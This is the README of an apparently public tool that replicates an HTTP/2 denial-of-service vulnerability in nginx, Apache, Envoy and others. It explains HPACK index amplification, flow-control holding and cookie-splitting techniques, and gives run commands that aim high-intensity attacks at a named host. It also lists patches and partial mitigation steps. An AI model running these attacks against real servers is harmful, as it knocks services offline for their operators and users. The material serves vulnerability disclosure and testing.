liaoziqi-gzfls/cve-2026-49975CVE-2026-49975
HTTP/2 Remote Denial of Service Vulnerability Replication Tool
CVE-2026-49975 is an HTTP/2 denial of service vulnerability affecting major web servers. The vulnerability was discovered by security company Calif (using OpenAI Codex) in early June 2026.
HPACK Compression Bomb: Insert a tiny header (e.g., "x: a") into the server’s HPACK dynamic table, then send thousands of 1-byte index references. Each reference forces the server to allocate significant bookkeeping memory, while the client consumes minimal bandwidth. The memory amplification ratio can reach ~5700:1 (Envoy) and ~4000:1 (Apache httpd).
Slowloris Flow Control Hold: Prevent the server from sending responses using zero-byte flow control windows, and drip-feed WINDOW_UPDATE frames to keep the connection alive, thereby "pinning" memory allocations.
Cookie Splitting Bypass: Split a large Cookie into many small fragments to bypass the server’s header count limit.
| Software | Affected Version | Fixed Version |
|---|
| Apache httpd (mod_http2) | < 2.0.41 | 2.0.41+ |
| nginx | < 1.29.8 | 1.29.8+ |
| OpenResty | based on nginx < 1.29.8 | 1.29.8+ |
| Envoy (CVE-2026-47774) | ≤ 1.37.2 | 1.35.11, 1.36.7, 1.37.3, 1.38.1+ |
| Microsoft IIS | Windows Server 2025 | No patch |
| Cloudflare Pingora | Default configuration | No patch |
This tool is intended for security research and authorized testing, demonstrating the attack mechanism of CVE-2026-49975.
pip install -r requirements.txt
# Basic attack
python http2_bomb.py example.com
# Against a local HTTP/2 test server (no TLS)
python http2_bomb.py localhost -p 8080 --no-tls
# High-intensity attack (50 streams, 50000 references per stream)
python http2_bomb.py example.com -s 50 -n 50000
# Enable cookie splitting bypass
python http2_bomb.py example.com --cookie-fragments 1000
# Fast mode (send without holding the connection)
python http2_bomb.py example.com --no-hold
| Parameter | Description | Default |
|---|---|---|
target | Target host address | Required |
-p, --port | Target port | 443 |
--no-tls | Disable TLS | false |
-s, --streams | Number of concurrent streams | 10 |
-n, --headers-per-stream | Number of header references per stream | 10000 |
--cookie-fragments | Number of cookie fragments | 0 |
--stream-delay | Delay between sending streams (seconds) | 0.01 |
--window-update-interval | Interval for sending WINDOW_UPDATE | 5.0s |
--no-hold | Do not hold the connection after sending | false |
--timeout | Socket timeout | 30 |
Use test_server.py to start a simple HTTP/2 server for local verification:
# Generate a self-signed certificate
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes
# Start the test server
python test_server.py --port 8443
# Run the attack
python http2_bomb.py localhost -p 8443
Immediate Mitigation: If unable to patch immediately, temporarily disable HTTP/2
Protocols http/1.1http2 off;Apply Patches:
Configuration Hardening:
max_headers limit (nginx 1.29.8+ defaults to 1000)Monitoring & Alerts:
⚠️ This tool is intended for security research and authorized penetration testing only.
Using this tool against systems without authorization is illegal. Users must comply with local laws and only test targets for which they have legal authorization.
MIT License - for security research and educational purposes.